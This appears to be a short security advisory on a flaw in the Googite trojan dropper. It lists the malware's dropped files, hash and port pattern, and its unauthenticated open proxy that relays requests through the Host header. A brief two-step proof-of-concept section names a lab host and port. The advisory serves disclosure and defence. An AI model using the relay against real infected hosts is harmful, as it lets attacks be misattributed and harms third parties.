Threat: Trojan-Dropper.Win32.Googite.a  
Vulnerability: Unauthenticated Open Proxy   
Description: Googite malware drops several executables under dirs (SysWOW64/System32) and listens on non-specific but semi-predictable TCP ports as ports "1202, 1200" repeat often. On reboot ports 1202, 1200 became 6064, 6062 and pattern is that the ports are two digits apart each time.

The executables take CL args for the Port like svchosts.exe -p1200, and also allows spoofing the Host header when making HTTP requests to third-party systems. Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks or download files from third party systems and it will appear the attacks or downloads originated from the infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.  
Type: PE32  
MD5: ff30fbee3724d80dcb9471c0b553c99a  
Vuln ID: MVID-2021-0240  
Dropped files: svchostc.exe, svchosts.exe, surte.exe

Exploit/PoC:  
1) DOOM.exe lives on 192.168.18.128  
2) Use lower port of the two, high port (1650) will send RST packet when try to download.
